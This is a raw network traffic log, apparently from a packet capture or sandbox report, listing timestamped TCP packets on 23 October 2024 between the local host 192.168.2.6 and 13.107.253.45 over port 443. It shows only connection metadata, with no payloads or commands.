Oct 23, 2024 21:04:41.154455900 CEST	49949	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.154473066 CEST	443	49949	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.154827118 CEST	49949	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.154831886 CEST	443	49949	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.159923077 CEST	443	49950	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.160243988 CEST	49950	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.160263062 CEST	443	49950	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.160609961 CEST	49950	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.160615921 CEST	443	49950	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.255532026 CEST	443	49946	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.255595922 CEST	443	49946	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.255810022 CEST	49946	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.255861998 CEST	49946	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.255861998 CEST	49946	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.255878925 CEST	443	49946	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.255887032 CEST	443	49946	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.258645058 CEST	49951	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.258668900 CEST	443	49951	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.258742094 CEST	49951	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.258939028 CEST	49951	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.258951902 CEST	443	49951	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.276310921 CEST	443	49948	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.276340008 CEST	443	49948	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.276386023 CEST	443	49948	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.276433945 CEST	49948	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.276549101 CEST	49948	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.276563883 CEST	443	49948	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.276575089 CEST	49948	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.276581049 CEST	443	49948	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.279288054 CEST	49952	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.279320002 CEST	443	49952	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.279386997 CEST	49952	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.279540062 CEST	49952	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.279552937 CEST	443	49952	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.284869909 CEST	443	49947	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.284945011 CEST	443	49947	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.285059929 CEST	443	49947	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.285062075 CEST	49947	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.285115957 CEST	49947	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.285159111 CEST	49947	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.285171986 CEST	443	49947	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.285181999 CEST	49947	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.285196066 CEST	443	49947	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.287278891 CEST	49953	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.287322044 CEST	443	49953	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.287388086 CEST	49953	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.287518978 CEST	49953	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.287533998 CEST	443	49953	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.292299032 CEST	443	49949	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.292454958 CEST	443	49949	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.292514086 CEST	49949	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.292577982 CEST	49949	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.292587996 CEST	443	49949	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.292610884 CEST	49949	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.292615891 CEST	443	49949	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.294687986 CEST	49954	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.294718027 CEST	443	49954	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.294841051 CEST	49954	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.294958115 CEST	49954	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.294972897 CEST	443	49954	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.295530081 CEST	443	49950	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.295679092 CEST	443	49950	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.295738935 CEST	49950	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.295784950 CEST	49950	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.295804977 CEST	443	49950	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.295825958 CEST	49950	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.295830965 CEST	443	49950	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.297729015 CEST	49955	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.297749996 CEST	443	49955	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.297869921 CEST	49955	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.297991991 CEST	49955	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.298006058 CEST	443	49955	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.013385057 CEST	443	49951	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.013933897 CEST	49951	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.013957024 CEST	443	49951	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.014400959 CEST	49951	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.014410019 CEST	443	49951	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.048217058 CEST	443	49953	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.048506975 CEST	443	49952	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.048593998 CEST	49953	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.048614979 CEST	443	49953	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.048979044 CEST	49952	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.048994064 CEST	443	49952	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.049015045 CEST	49953	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.049019098 CEST	443	49953	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.049460888 CEST	49952	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.049467087 CEST	443	49952	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.072875977 CEST	443	49954	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.073215008 CEST	49954	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.073230982 CEST	443	49954	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.073621035 CEST	49954	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.073626041 CEST	443	49954	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.083996058 CEST	443	49955	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.084319115 CEST	49955	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.084333897 CEST	443	49955	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.084706068 CEST	49955	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.084709883 CEST	443	49955	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.154164076 CEST	443	49951	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.154361963 CEST	443	49951	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.154414892 CEST	49951	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.156466007 CEST	49951	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.156483889 CEST	443	49951	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.156495094 CEST	49951	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.156500101 CEST	443	49951	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.160455942 CEST	49956	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.160492897 CEST	443	49956	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.160568953 CEST	49956	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.160751104 CEST	49956	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.160764933 CEST	443	49956	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.186472893 CEST	443	49953	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.186953068 CEST	443	49953	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.187012911 CEST	49953	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.187047005 CEST	49953	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.187064886 CEST	443	49953	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.188767910 CEST	443	49952	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.188839912 CEST	443	49952	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.188947916 CEST	49952	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.188966036 CEST	443	49952	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.188987017 CEST	443	49952	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.189038038 CEST	49952	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.189060926 CEST	443	49952	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.189073086 CEST	49952	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.189080000 CEST	443	49952	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.190129042 CEST	49957	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.190144062 CEST	443	49957	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.190222025 CEST	49957	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.190355062 CEST	49957	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.190365076 CEST	443	49957	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.191210985 CEST	49958	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.191241026 CEST	443	49958	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.191334009 CEST	49958	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.191433907 CEST	49958	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.191448927 CEST	443	49958	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.210951090 CEST	443	49954	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.211019039 CEST	443	49954	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.211075068 CEST	49954	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.211213112 CEST	49954	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.211220980 CEST	443	49954	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.211230040 CEST	49954	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.211234093 CEST	443	49954	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.213696957 CEST	49959	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.213713884 CEST	443	49959	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.213794947 CEST	49959	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.213937998 CEST	49959	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.213948011 CEST	443	49959	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.225611925 CEST	443	49955	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.227252960 CEST	443	49955	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.227305889 CEST	49955	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.227334023 CEST	443	49955	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.227405071 CEST	443	49955	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.227421045 CEST	49955	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.227441072 CEST	443	49955	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.227453947 CEST	49955	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.227458954 CEST	443	49955	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.229846001 CEST	49960	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.229875088 CEST	443	49960	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.229948044 CEST	49960	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.230148077 CEST	49960	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.230158091 CEST	443	49960	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.956346989 CEST	443	49956	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.956861973 CEST	49956	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.956887960 CEST	443	49956	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.957323074 CEST	49956	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.957328081 CEST	443	49956	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.958842993 CEST	443	49958	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.959139109 CEST	49958	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.959152937 CEST	443	49958	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.959522009 CEST	49958	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.959527016 CEST	443	49958	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.960118055 CEST	443	49959	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.960463047 CEST	49959	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.960481882 CEST	443	49959	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.960874081 CEST	49959	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.960880041 CEST	443	49959	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.961014032 CEST	443	49957	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.961318016 CEST	49957	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.961329937 CEST	443	49957	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.961708069 CEST	49957	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.961711884 CEST	443	49957	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.990405083 CEST	443	49960	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.990792036 CEST	49960	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.990803957 CEST	443	49960	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:42.991235018 CEST	49960	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:42.991240025 CEST	443	49960	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.096901894 CEST	443	49958	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.096977949 CEST	443	49958	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.097033024 CEST	49958	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.097207069 CEST	443	49959	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.097278118 CEST	443	49959	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.097321987 CEST	49958	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.097336054 CEST	443	49958	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.097348928 CEST	49958	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.097347975 CEST	49959	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.097353935 CEST	443	49958	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.097369909 CEST	443	49956	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.097722054 CEST	49959	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.097748041 CEST	443	49959	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.097760916 CEST	49959	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.097768068 CEST	443	49959	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.097778082 CEST	443	49956	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.097825050 CEST	49956	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.098248005 CEST	443	49957	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.098814011 CEST	443	49957	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.098896027 CEST	49957	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.098913908 CEST	443	49957	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.098934889 CEST	443	49957	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.098947048 CEST	49956	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.098951101 CEST	443	49956	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.098993063 CEST	49957	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.099241972 CEST	49957	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.099252939 CEST	443	49957	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.099272013 CEST	49957	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.099277973 CEST	443	49957	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.101583958 CEST	49961	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.101610899 CEST	443	49961	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.101910114 CEST	49961	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.102483988 CEST	49963	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.102484941 CEST	49962	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.102499962 CEST	443	49963	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.102505922 CEST	443	49962	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.102629900 CEST	49963	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.102632046 CEST	49962	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.102761030 CEST	49961	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.102782965 CEST	443	49961	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.102932930 CEST	49963	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.102945089 CEST	443	49963	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.102978945 CEST	49962	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.102993011 CEST	443	49962	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.103141069 CEST	49964	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.103167057 CEST	443	49964	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.103288889 CEST	49964	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.103439093 CEST	49964	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.103455067 CEST	443	49964	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.126473904 CEST	443	49960	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.126512051 CEST	443	49960	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.126573086 CEST	443	49960	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.126594067 CEST	49960	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.126630068 CEST	49960	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.126744032 CEST	49960	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.126744032 CEST	49960	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.126753092 CEST	443	49960	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.126760960 CEST	443	49960	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.128736973 CEST	49965	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.128765106 CEST	443	49965	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.128863096 CEST	49965	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.129009008 CEST	49965	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.129024029 CEST	443	49965	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.853257895 CEST	443	49962	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.853600979 CEST	443	49961	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.854490995 CEST	49962	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.854490995 CEST	49962	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.854516029 CEST	443	49962	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.854533911 CEST	443	49962	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.854886055 CEST	49961	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.854896069 CEST	443	49961	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.855333090 CEST	49961	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.855335951 CEST	443	49961	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.857537985 CEST	443	49963	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.857913017 CEST	49963	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.857922077 CEST	443	49963	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.858433962 CEST	49963	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.858438969 CEST	443	49963	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.871198893 CEST	443	49964	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.871923923 CEST	49964	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.871923923 CEST	49964	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.871938944 CEST	443	49964	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.871952057 CEST	443	49964	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.882769108 CEST	443	49965	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.883472919 CEST	49965	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.883472919 CEST	49965	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.883486986 CEST	443	49965	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.883501053 CEST	443	49965	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.987535000 CEST	443	49961	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.987699032 CEST	443	49961	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.987911940 CEST	49961	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.987911940 CEST	49961	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.988053083 CEST	49961	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.988075972 CEST	443	49961	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.989713907 CEST	443	49962	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.989780903 CEST	443	49962	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.990684032 CEST	49966	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.990722895 CEST	443	49966	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.990763903 CEST	49962	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.990763903 CEST	49962	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.990763903 CEST	49962	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.990884066 CEST	49966	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.992836952 CEST	49966	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.992855072 CEST	443	49966	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.993043900 CEST	49967	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.993068933 CEST	443	49967	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.993186951 CEST	49967	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.993271112 CEST	49967	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.993280888 CEST	443	49967	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.994472027 CEST	443	49963	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.994784117 CEST	443	49963	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.994849920 CEST	443	49963	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.994867086 CEST	49963	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.994946003 CEST	49963	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.994946003 CEST	49963	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.994992018 CEST	49963	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.995001078 CEST	443	49963	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.996995926 CEST	49968	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.997021914 CEST	443	49968	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:43.997176886 CEST	49968	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.997200966 CEST	49968	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:43.997208118 CEST	443	49968	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.010030985 CEST	443	49964	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.010104895 CEST	443	49964	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.010297060 CEST	49964	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.010431051 CEST	49964	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.010440111 CEST	443	49964	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.010467052 CEST	49964	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.010472059 CEST	443	49964	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.012881041 CEST	49969	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.012926102 CEST	443	49969	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.013040066 CEST	49969	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.013123989 CEST	49969	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.013134956 CEST	443	49969	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.019292116 CEST	443	49965	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.019336939 CEST	443	49965	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.019395113 CEST	443	49965	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.019478083 CEST	49965	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.019615889 CEST	49965	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.019615889 CEST	49965	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.019624949 CEST	443	49965	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.019630909 CEST	443	49965	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.021836042 CEST	49970	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.021857977 CEST	443	49970	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.022063971 CEST	49970	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.022064924 CEST	49970	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.022089005 CEST	443	49970	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.292629004 CEST	49962	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.292644978 CEST	443	49962	13.107.253.45	192.168.2.6
